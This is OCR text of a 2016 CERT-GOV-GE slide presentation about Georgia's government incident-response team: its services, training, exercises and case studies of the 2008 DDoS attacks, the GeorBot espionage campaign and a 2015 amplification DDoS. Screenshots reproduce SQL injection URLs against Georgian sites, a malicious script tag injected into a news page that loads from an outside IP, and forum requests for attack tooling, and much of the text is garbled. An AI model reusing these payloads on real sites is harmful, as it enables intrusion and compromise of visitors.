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By CERT-GOV-GE

Thilisi, 5 december 2016
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CERT-GOV-GE - Structural unit was
formed within the Information Security
and Policy division of LEPL Data
Exchange Agency under the Ministry of
Justice of Georgia, which processes,
analyses and solves information security

~> - N ERT Gov- "E ‘.}i' N incidents.
"f&ljhjt 4\{""* L"; ( ‘  ;
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Organizational Framework

State Security and Crisis Personal Data Protection
Management Council | " Inspectorate

Established in January 2014 . . .
Under the Direct Subordination of the Prime-Minister Established in January 2013

Minister of Defense
Cyber Security
Bureau

Ministry of Internal Affair
Cyber Crime Division |

24/7 International |
Contact Point

/‘W Ministry of Justice
ﬁ) Data Exchange Agency

Established in January 2010 Established In December 2012 as a
Under Supervision on Ministry of Structural Unit of the Ministry of
Justice Internal Affairs

Information Security Development. Cybercrime division is the only agency
and management of CERT.GOV.GE that has Investigatory functions on all
types of Cyber Incidents;

Public Public
Sector + Sector +
SCIS SCIS

Public
Sector +
SCIS

Public
Sector +
SCIS

State Secret State Secret State Secret

State Secret
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We are members of the following organizations:

I M P AC T The Cyber security Executing Arm Of The UNITED NATIONS

Po————————— SPECIALISED AGENCY of The International Telecommunication Union (ITU)

We are full member of FIRST. FIRST is the Forum of Incident Response and

Security Teams.

The Trusted Introducer - a.k.a. Tl - is the trusted backbone of the Security

and Incident Response Team community in Europe.

CERT-GOV-GE is Autorized To Use CERT Trademark.

AUTHORIZED
TO USE GERT”

@ CERT.GOV.GE
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Team Member Certificates:

SANS GIAC Certified Professionals (GIAC)

Systems and Network Auditor (GSNA)
Hacker Tools, Techniques, Exploits and Incident Handling (GCIH)

Secure Coding in Java/JEE: Developing Defensible Applications (GSSP-JAVA)

C

TRANSITS: CSIRT Training
TRANSITS

(Ne}

CISSP® - Certified Information Systems Security Professional

%



http://www.sans.org/
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e Blacklist Service

a IP and Domain blacklist.
o Different formats for different software.

e Available for Organization's.

a http://blacklists.cert.gov.ge

Safe DNS Georgia

Integrated with Collective Intelligence Framework.

Blocks malware domains and redirecting to warning page.

First DNSSEC Enabled Resolver In Georgia.

5.159.16.16
5.159.20.20 CERT.GDV.EE
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9 Network Monitoring Services

NetFlow Sensors (NfDump & NfSen)
Network Analyze NetFlow Data For Security.

Select | Single Timesiot ¥ Display: [1day v [ << | [< | [1][~][=][==][=

Detects: SR

Y SSH Brute Force Attacks. i =

. Botnets.

v dDoS Attacks. R

Log Scale © Line Graph

9 Sensor Network Services (Snort):

v Automated analysis of the security of the network

flow problems.
v VRT rules of the Securities and install for free.
v If you wish to separate physical server for the

organization. ALIEN VAULT
@CERT.GD\/.GE
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9> CERT-GOV-GE Honeypots

*Emulation Of Popular Vulnerable Software
*Using Open Source Honeypot Software:
*Kippo (ssh)
‘Dionaea (SMB, http, tftp, MSSQL, MySQL, SIP)
*Conpot (SCADA)
# *Capturing Attacker IP Addresses
*More Than 2000 Attacks Per Day

9 Website Intrusion Detection (MalSpider)

Open Source Project.

Realtime
Website ThreatFactor
Analysis

—~ Monitors Web Pages for Intrusions (Exploits,
e —PU\

Hacker Signatures, Information Leakage).

Custom Rule Based Detection.

CERT.GOV.GE
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9 Penetration Test

OWASP

The Open Web Application Security Project

'''''''''''''''

Netsparker {Commercial Edition)

Burp Suite Professional

9 Spear Phishing Attack Simulation

. Sending e-mail phishing links.

. Phishing attacks by the organization to personalize.
PN . Any WEB mobile Simulation Built-in educational page.
\ g . Statistics.

@ CERT.GOV.GE
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Incident Handling

CERT-GOV-GE Se
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dents@dea.gov.ge

inci

Contact
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9 Partners:

D DERTEU ceowezmen QM ARBOR  CLEAN-MX

TEAM CYMRU

(% THE SPAMHAUS PROJECT

‘@urarantainene,t ABNE

Microsoft \/Symantec.

CERTat E@NASK CERT-EE

@ THE SPAMHMHAUS FPROJECT
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9 Information Provided Daily About Georgian Infections:

@5h5dnm Infected 10 000 IP Addresses

15-20 Phishings
Infected 5 000 IP Addresses @&EAN - MX 25-30 Deface Web-Sites

15-20 Malware Sites

TEAM CYMRU

ARBOR Infected 4 000 IP Addresses

@; Infected 1 000 IP Addresses

‘ (®)uarantainenet  Infected 1000 IP Addresses

@ THE SPAMHAUS PROJECT Infected 1 000 IP Addresses

@ CERT.GOV.GE
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IP address monitoring portal
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| checknet.ge

access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

Searchwebpage Addincident Check IP address  Statistics ~ About project  Partners  Contact Joon

SEN t f W & P &
?
7 CheckNET

CheckNet is a free online service that checks and analyzes web sites and IP addresses.
It is fast and easy! Check your website for weaknesses and vulnerabilities.

Q SEARCH PAGE (v) CHECK IP ADDRESS

http://misamarti.ge Q SEARCH

(® ADD INCIDENT




| checknet.ge

access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

Searchweb page Addincident Check IP address  Statistics ~ About project  Partners  Contact Jo6m

féCheokNET

CheckNet is a free online service that checks and analyzes web sites and IP addresses.
It is fast and easy! Check your website for weaknesses and vulnerabilities.

Q SEARCH PAGE (v) CHECK IP ADDRESS

dea.gov.ge Q SEARCH

IMAGE DOMAIN IP ADDRESS URL INFECTION TYPE ~ PROVIDER INCIDENT DATE SHARE

™ dea.gov.ge 91.212.213.25 & deface Zone-H 26.08.2011 00:00 [l Share

| @ ADD INCIDENT



checknet.ge

access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

Greetz: M3QD4D - BIHROZ - HASSAN20 - NETWORKER - Rz04 - ArmanSoftware
And All Ashiyane Defacers

HACKED BY




| | checknet.ge

access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

Search webpage  Addincident  Check IP address  Statistics  About project  Partners  Contact Jomn

¢ CheckNET

CheckNet is a free online service that checks and analyzes web sites and IP addresses.
It is fast and easy! Check your website for weaknesses and vulnerabilities.

Q SEARCH PAGE (¥) CHECK IP ADDRESS
YOUR IP ADDRESS IS: 5.159.20.18
Infection type: Infection date:
gameover-zeus-dga 26.06.2015

(+) ADD INCIDENT




| | checknet.ge

access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

Search webpage  Addincident  Check IP address  Statistics  About project  Partners  Contact Jomn

f@’; CheckNET

CheckNet is a free online service that checks and analyzes web sites and IP addresses.
It is fast and easy! Check your website for weaknesses and vulnerabilities.

Q SEARCH PAGE (v) CHECK IP ADDRESS

0093360 IP 30LO3VG0)N0: 94.137.188.73

©oobgopo®gdol Godo: dmboggdo o6 dmodgdbo

(+) ADD INCIDENT




| checknet.ge/Statistic

access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

Search web page  Addincident  Check IP address  Stafistics  About project  Partners  Contact oo

¢ CheckNET

STATISTICS
Incident statistics i
N IP ADDRESS deface 28.47%
1 93188875
2 80.77.52.171
3 213.157.205.142 phishing 4.44%
4 80241247251
5 80241246125
6 851142442 malware 67.00%—

T 21272155146

®malware @deface @ phishing
8 21258 116.71
9 80.92.177.11

10 213.157.215.232

- @ e CERT.COV.GE @ Join Us on
DATA EXCHANGE =l FACEBOOK
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9 3 Day Course For our Constituency

Basic Incident Handling Training:

. CSIRT introduction

. Incident Handling

. Basic Malware Analysis
. Sysinternal Tools

. Forensics with Linux

. Forensics with Windows
. Case Studies

@ CERT.GOV.GE



NATO SPS Programme
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=3 Cyber Defense Training for IT Professionals
2-3 Day Cyber and Information Security Sessions:

« Afghanistan
* Moldova

« Macedonia
 Montenegro
« Azerbaijan

« Ukraine

« Mongolia

Totally Up to 150 Professional

O | Middle East Technical University

The NATO Science for Peace

and Security Programme

gPaining ~~urse fo
“Tletwort

@ CERT.GOV.GE



CYBER EXE 2016

Cyber EXE Topics:

> Cryptography

» Malware Analysis

> Log File Analysis

> Reverse Engineering
> Network Analysis

» Various Content

Number of Exercises:

> 32 Case
> 88 Questions
> 6 Houers and 15 Minutes

Recommended Tools and Applications:

S——

b cuckeoty” P YIRUS S OllyDbg




CYBER CUBE 2016

Oraanizarc:

MINISTRY OF JUSTICE OF GEORGIA q
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CERT.GOV.GE

Ahoii1t Fvent:

« Age Limit 25 years

* 50 registered Teams

+ 5 exercises

« 35 questions

« Special testing platform

CSnoncorc:
A O LY
Security @ S UG T

B Microsoft Orient Logic ISSr

Irmradion Sysherms Sauriey Partners

$

CYBER CUBE 2016

dladmMEeNasnaey

-




Round table

Georgia exhibits its awareness
in cyber defense development
and its intention of being a
main player in this evolving
scenario.

As a proof of that, Georgia
hosts this high-level workshop
- completely focused on cyber
defense issues -, in
participation with NATO,
neighbors countries and
international organizations —
an event

AR NATO | worksbop | The NATO Science for Peace

<
7 O1AN is supporsed by: | and Security Programme

ARW at a glance

PROMOTERS DATA EXCHANGE I’If)
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Involved Stakeholders Working Sessions
CYBER-DEFENSE STRATEGY
AND CAPABILITIES
ATy ﬁlNTELLlUM CYBER-DEFENSE STRATEGY
=

__________________________________________________________ m AND CAPABILITIES: GEORGIA

REGIONAL

INITIATIVE a 6 '

COUNTRIES — CYBER-DEFENSE ASPECTS
ARMENIA ~ AZERBAUAN  BULGARIA AND TECHNIQUES

¥ 3 B
+ J
GEORGIA MOLDOVA ROMANIA TURKEY UKRAINE

OTHER ‘ - ’ ﬁ N

ITALY GERMANY HUNGARY
STATES

INTERNATIONAL i NATO | 5%
ORGANIZATIONS N OTAN -

_

MINISTRY OF JUSTICE OF GECRGIA ﬂ
@lNTELLlUM ‘: DATA EXCHANGE ll)
-]
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Advanced Research Workshop, June 30 - July 1, 2015 Thilisi




As a way forward countries agreed on initiation of

the Regional Cyber Defence Cooperation Project

Project Proposal Objectives

Develop cyber defence capabilities, tools and techniques to better protect governments and Critical

GOAL Infrastructures (Cls) from emerging cyber threats. The Project will improve coordination in the
cyber defence domain through a Cyber Defense Alliance.

PROTECT REGIONAL AND NATIONAL CRITICAL INFRASTRUCTURES

DEFINE REGIONAL IMPROVE INCREASE CYBER
PROJECT CYBER DEFENCE CYBER DEFENCE DEFENCE
PHASES ROADMAP CAPABILITIES COOPERATION

Outline roadmap and Identify and create tools to Raise awareness through
implementation plan on steer coordination among events and programs
how to build/improve cyber regional and national addressed to institutions at

defence capabilities stakeholders regional and national level

MINISTRY OF JUSTICE OF GECRGIA
OINTELLIUM ‘@ e K )’
[- ]

CERT.GOV.GE AGeENCY HE




Solved Incidents after the Productive Cooperation




yher attacks against GE@RG 1A

08/08/2008 Before Attack

Usage by Location for August 2088

Georpia (BOH)
UnrezolvedUnlnonn (1185
United Statez (3X)
Ruzzian Federation (1X)
Great GBritaln (07 (1)
Hzzrbad jan (0

Gerwary {1%)

Turlezy (i

NLATETRRE Y-

if(bgeo) of gefwl
1100 1

1000 H

200 1

200 n

700 0

o0 n

bits/s

500 1

00 n

300 0

200 0

100 0

15:50 16:00 16:10 16:20

win avg max last
Oin 1.26 Mbps 801.29 Mbps ©57.03 Mbps 955.77 Mbps
Dout 323,66 kbps 3.20 Mbps 21,88 Mbps 1,44 Mbps
packetloss ~ 0.00%  0.00%  0.00%  0.00%

O =0: O <t O <20 O <30 W <40 B <50%

O <60 O <7ev W <80% B <90 W <l00%

16:30 16:40

Bits per Second

09/08/2008 During Attack

Uzage by Location for August 2868

Ronania (32X

Japan [A5H;

Turkey {(8X)

Georpia (8X)

fussian Federation (54
France (¥4

United States (G6X)
Luntennly f:0ds
Indonecia 4%

Leraany (280

VLA TE] S ]

Wed Tue Mon Sun Sat Fri Thu Wed




& 08.08.2008, 06:32

L=l

YuacTHMK DopyMs
Permcrpaunma: 16.03.2007
Anpec: http:/fhack.this.nama
Coobuiersa: 299

Opoeen 1a dopyme:

1 Hezenw 2 aANA

Penyrauma; Sxcnapr (2/430)

«

3
feN

Source Destination

201.88.80.48
208.0.30.17
189.105.202.124
210.211.128.160
65.95.127.155
62.141.66.174
217.69.214.243
78.96.72.99
189,81.53.53
90.154.179.138
92.113.0.29
92.113.0.29
92.113.0.29
92.113.0.29

86.98.45.238
216.39.90. 211

83.174.226.124 213.

Protocol *

TCP
TCP
TCP
1)@
TCP

B

INpy3urHckue Cartbl B TEMY!

Aversi.ge
Wwurara:
nain.phpziang

http: //www.ave

geofid=-1+UNI

ON+SELEC

T+1,2,3,4,5,6

11,12,13,14,15 ,v

Presa.ge
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9,10,11+fro

.php

11

-14+union+selact+1,2,c
wema.tables+iimit +17,1

;

oncat_ws(

ytable_name), 4,

0

Ssa.gov.ge

Hurara:

mndex.php7id=56

http: //www.ssa.gov.ge/

xmid=~-1+union+s

o0

W), 11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,28

Swear words and cruel callings

rdrmshec > http [SYN] Seq-O in=65535 Len=0 Mss=1452
28841 > http [SYN] Seq=0 Win=65520 Len=0 MSS=1260
62931 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1452
63801 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1452
59609 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1452

60001 > http [SYN] Seq=0 W1n-16384 Len=0 MSS=1460
fjappmgrbulk > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 W
63113 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1440
vrts-at-port > http [SYN] Seq=0 Win=65535 Len=0 MSS=1452
Echo (ping) request

Echo (ping) request

Standard query A media.ge

Source

18 3
81.201.203.50
189.13.56.83

91.190.87.98
91.190.87.98

201.170.66.71
86.69.194.189
74.195.179.83
80.222.137. 212

85 105.109. 188
66.210.131.226

Destination

212

Protocol -

Info

GET /739dec76f HTTP/l 1

GET'/docs/re ament1 pdf7SOSATv 'VASHE PRIZVANIE-Ad&4713

GET /statements php&7ea3=8qq3w&jN=40640&903 f=0bsUuw&DA_VI_

GET /statements. php&958f-01&DA_VI LOHI_PODOBOSRETES_KAK_V_
od Rk 8

e ed S
GET /710a892a6 HTTP/1.1
GET /statements php&307 Os1qp&DA_VI LOHI_PODOBOSRETES_KAK

GET /statements php TTP/1 b
GET /statements.php HTTP/1.1
|

GET /?44c7acc2 HTTP/L.1 Continuation or‘non-HTTP traffic
GET /docs/reglamenti.pdf?SOSAT_ETO_VASHE_PRIZVANIE=Ad HTTP




Opy3bA NpoeKia
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www.google com
www.rambler.ru
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Approximately
90% of all gov.ge
domain
addresses and
significant
fraction of .ge
domain
addresses were
affected by DDos
attacks.



Win32/GeorBot espionage against Georgia
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1/ <IDOCTYPE htwl PUBLIC "-//W3C//DTD XHTHL 1.8 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict. dtd"> %
2 <htnl xulns="http://smm.u3.0rg/1999/xhtnl">
3 chead> T -
a <title>Enterprise Management Agency</title>
B <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> bo. sdsglo
6 i ="text/css" media="all” rel="stylesheet" href="css/style-geo.css" /> b650000, Losg
7 text/javascript” language="javascript” "nodules,/lytebox/lytebox. Js"></script>
8 "stylesheet” href="nodules/ lytebox/lytebox.css” type="text/css” media="screen’ />
9 type="text/javascript” src="menu/menu.js"></script>
10 <1-- >
1 lesheet” type="text/css" hrefa"css/superfish.css” medias"screen">
12 lesheet” typ href="css/superfish-v.css” media="screen”>
13 <script type="text/javascrip jquery-1.2.6.min.js"></script>
14 <script type="text/javascript hoverIntent.js"></script>
15 TPt Ty pes TEXT/ JaVasCIIpT STC IS SUpErTIEN T ></script>
1s|<smpc src=http://173.212 B/ frane.php></sc- 1pﬂ
"></script>
18 <script language="javascript” src="teeen/ColorTacen. s </scripts

Cyber Attack was designed very
smartly. Various Georgian News-
Related web-sites were hacked and
modified only Specific News pages
(eg. NATO delegation Visit in
Georgia, US-Georgian Agreements
and Meetings, Georgian Military
NEWS).
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eshkinkotl Maena cneaywowan. d Mory MaMaHuTb YA3aneHHO HaACcTpoMKu Dpayzepa nonb3opaTtens. HanpuMmep, NponucaTtb B ODpay3epe Npokcu-cepeap
Ao Hepea KoTopbiii OH ByAeT BbIXOAWTL B HET. ECTb NIM Kakue-HUOYdb YXXe roTosbia Ciy>Obl NPOKCU-CepBepos C NoruposaHneM TpaduKa,
ey D uToBbl § MOI NEepPexXBaThIEaTb 23NPOCh MOb20B3TENA USPaz NPOKCK. JTMOO HYXEeH CKPUNT NPOKCU CepBepa. TONbKO HE IHOHMMHOrOD,
MNpucosamtmnca: KOTOPbIX MNOAHBIM MOAHO, TUNa Zelune u T.4. Kakne ecrb ngen?
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Tweet

RE: Mpoxcon © normposanven - 09.02.2010 16:33:12

eshkinkot1 MHE HYXEH NPOKCKW HE B NOK3NKe. 370 A U TaK MOry CAENaTh. MHE HYXeH NPOKCK B HETE. KaK 5 NOCTasno Npory. y MeHA HeT CepBaKa.
Coob a8 MHE HYXEeH nmbo CKpUNT ANA NPOKCK. Toraa A NPoCTo yCTaHOBMAD €ro Ha XOCTUHIeE, nunbo roTosuIn NMPOKCH-XOCTWHI .
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eshkinkotl MoackaxwuTe noxanyicra Kak Aobasutb cson cnnowT & 6asy [Mctasploif.

Coobwanuin: 8
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DDoS Attack Against Financial Sector

Total unique IP addresses: 339 000

Countries: 160

Attack Type: DDoS SSDP/DNS Amplification

Used Ports in Attack: SSDP port 1900 and DNS port 53
Target: Georgian Financial Sector
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DDoS Attack Against Financial Sector

Digital Attack Map Top daily DDoS attacks worldwide Map - Gallery - UnderstandingDDoS - FAQ - About - ESEDER
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DDoS Attack Against Financial Sector

"CERT.GOV.GE" - has actively
started collaboration on the
issue with such forums, as
“FIRST" and "TRUSTED-
INTRODUCER" .

The number of requests sent by IP addresses

700

Attacks has reached the 600

maximum limit/bound 500

on May 24, 2015 when 400

27,539 Mbps flow 300

generation was carried, 200

and 22,836 Mbps from 100 I

this number belonged to o - ! — ==
SSDP port 1900. A A G
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CERT-GOV-GE Contacts SHaNeS )

E-mail: cert@dea.gov.ge

Tel: +995 32 291 51 40

Fax: +995 32 291 51 40

Web-page: www.cert.gov.ge
www.facebook.com/certgovge
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Thank You! Questions?




